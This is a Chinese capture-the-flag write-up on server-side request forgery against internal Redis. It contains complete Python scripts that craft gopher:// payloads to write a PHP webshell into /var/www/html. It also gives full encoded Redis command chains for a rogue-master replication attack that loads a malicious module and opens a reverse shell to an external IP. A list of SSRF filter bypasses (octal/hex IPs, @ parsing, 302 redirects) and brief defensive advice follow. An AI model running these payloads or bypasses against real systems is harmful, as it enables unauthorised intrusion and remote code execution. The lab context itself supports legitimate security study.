redis_getshell_ezweb 环境复现 ubuntu 16.04 + docker
1 2 cd docker docker-compose up -d
漏洞利用 右键源码发现如下备注信息
直接请求,获取当前靶机环境的ip地址
直接带入提交框中进行http请求
根据url格式,和页面显示情况,怀疑是一个ssrf利用,尝试探测内网是否有redis服务,测试出redis服务的地址为192.168.144.2
并且进过后续测试发现目标环境是存在过滤的,过滤了file://,dict://
这里直接使用gopher协议直接用脚本尝试写入webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import urllibimport requestsPATH = '/var/www/html' FILENAME = 'shell.php' DEST_REDIS_IP = '192.168.144.2' SSRF_VUL_IP = 'http://192.168.1.191:5000/index.php?url={}&submit=%E6%8F%90%E4%BA%A4' def generate_payload (): gopher = "gopher://{}:6379/_" .format (DEST_REDIS_IP) redis_command = """flushall set 1 "<?php system('cat /flag');?>" config set dir {} config set dbfilename {} save quit """ .format (PATH, FILENAME) urlencode_one = urllib.parse.quote(redis_command, 'utf-8' ) replace_str = urlencode_one.replace('%0A' , '%0D%0A' ) urlencode_two = urllib.parse.quote(replace_str, 'utf-8' ) payload = gopher + urlencode_two return payload def main (): payload = generate_payload() url = SSRF_VUL_IP.format (payload) print (url) res = requests.get(url = url, timeout = 1 ) print (res.text) if __name__ == '__main__' : main()
根据返回信息发现,判断应该写入成功
尝试请求写入的shell,成功获取flag
SSRF打内网redis主从复制 复现环境 这里题目使用的是2020年网鼎玄武组的一道题目
环境地址:网鼎杯 2020 玄武组 SSRFMe https://buuoj.cn/challenges
url逻辑限制的绕过 这里的绕过方式有很多,这里直接使用http://0.0.0.0
进行绕过,请求hint.php
,获取redis的密码为root
使用dict://
协议进行探测,发现存在redis,且需要认证
ssrf主从复制getshell 这里主要使用gopher://
协议;
buu的环境权限复现的有些问题,但是这不影响我们做题,直接采用预期思路解题;
公网vps使用redis-rogue-server
伪造主服务
工具下载地址 https://github.com/n0b0dyCN/redis-rogue-server/
启动服务 python3 redis-rogue-server.py --rhost=127.0.0.1 --rport=6379 --lhost=149.x.x.x
本地监听 nc -lvnp 6379
http://e3c2954c-bbf9-47dd-a41a-b7883db9a90c.node3.buuoj.cn/?url=gopher://0.0.0.0:6379/_
1 2 3 4 5 6 7 8 9 10 auth root config set dir /tmp/ quit %25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34 auth root config set dbfilename exp.so slaveof 149.129.47.247 21000 quit %25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%35%25%37%38%25%37%30%25%32%65%25%37%33%25%36%66%25%30%64%25%30%61%25%37%33%25%36%63%25%36%31%25%37%36%25%36%35%25%36%66%25%36%36%25%32%30%25%33%31%25%33%34%25%33%39%25%32%65%25%33%31%25%33%32%25%33%39%25%32%65%25%33%34%25%33%37%25%32%65%25%33%32%25%33%34%25%33%37%25%32%30%25%33%32%25%33%31%25%33%30%25%33%30%25%33%30%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34
1 2 3 4 auth root module load ./exp.so quit %25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%36%64%25%36%66%25%36%34%25%37%35%25%36%63%25%36%35%25%32%30%25%36%63%25%36%66%25%36%31%25%36%34%25%32%30%25%32%65%25%32%66%25%36%35%25%37%38%25%37%30%25%32%65%25%37%33%25%36%66%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34
1 2 3 4 auth root slaveof no one quit %25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%63%25%36%31%25%37%36%25%36%35%25%36%66%25%36%36%25%32%30%25%36%65%25%36%66%25%32%30%25%36%66%25%36%65%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34
1 2 3 4 auth root config set dbfilename dump.rdb quit %25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%34%25%37%35%25%36%64%25%37%30%25%32%65%25%37%32%25%36%34%25%36%32%25%32%30%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34
1 2 3 4 auth root system.rev 149.129.47.247 9999 quit %25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%65%25%37%32%25%36%35%25%37%36%25%32%30%25%33%31%25%33%34%25%33%39%25%32%65%25%33%31%25%33%32%25%33%39%25%32%65%25%33%34%25%33%37%25%32%65%25%33%32%25%33%34%25%33%37%25%32%30%25%33%39%25%33%39%25%33%39%25%33%39%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34
非预期解 这边是因为权限没有控制到位的原因,导致可以直接向目标服务器web目录写shell,这里就直接上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import urllibimport requestsPATH = '/var/www/html' FILENAME = 'shell.php' DEST_REDIS_IP = '192.168.144.2' SSRF_VUL_IP = 'http://192.168.1.191:5000/index.php?url={}&submit=%E6%8F%90%E4%BA%A4' def generate_payload (): gopher = "gopher://{}:6379/_" .format (DEST_REDIS_IP) redis_command = """AUTH root flushall set 1 "<?php system('cat /flag');?>" config set dir {} config set dbfilename {} save quit """ .format (PATH, FILENAME) urlencode_one = urllib.parse.quote(redis_command, 'utf-8' ) replace_str = urlencode_one.replace('%0A' , '%0D%0A' ) urlencode_two = urllib.parse.quote(replace_str, 'utf-8' ) payload = gopher + urlencode_two return payload def main (): payload = generate_payload() url = SSRF_VUL_IP.format (payload) print (url) if __name__ == '__main__' : main()
ssrf绕过与防御 常用绕过方法 1.@
1 2 3 http://abc@127.0.0.1 实际上是以用户名abc连接到站点127.0.0.1,同理 http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8
在对@解析域名中,不同的处理函数存在处理差异,如:http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url
中会识别www.ccc.com,而`libcur`l则识别为www.bbb.com
2.利用[::] 可以利用[::]
来绕过localhost
1 http://[::]:80/ >>> http://127.0.0.1
3.添加端口号
4.利用短网址站长工具短网址 百度短网址 5.利用特殊域名 原理是DNS解析。xip.io可以指向任意域名,即
1 127.0.0.1.xip.io,可解析为127.0.0.1
6.利用DNS解析 在域名上设置A记录,指向127.0.1 7.利用进制转换
127.0.0.1 八进制:0177.0.0.1 十六进制:0x7f.0.0.1 十进制:2130706433
8.句号
9.302跳转 使用https://tinyurl.com生成302跳转地址
常见限制手段 1.限制为http://www.xxx.com 域名 采用http基本身份认证的方式绕过。即@http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址 当不允许ip为内网地址时 (1)采取短网址绕过 (2)采取特殊域名 (3)采取进制转换 3.限制请求只为http协议 (1)采取302跳转 (2)采取短地址
SSRF漏洞防御 1、禁用不需要的协议(如:file:///
、gopher://
,dict://
等)。仅仅允许http和https请求 2、统一错误信息,防止根据错误信息判断端口状态 3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址 4、设置URL白名单或者限制内网IP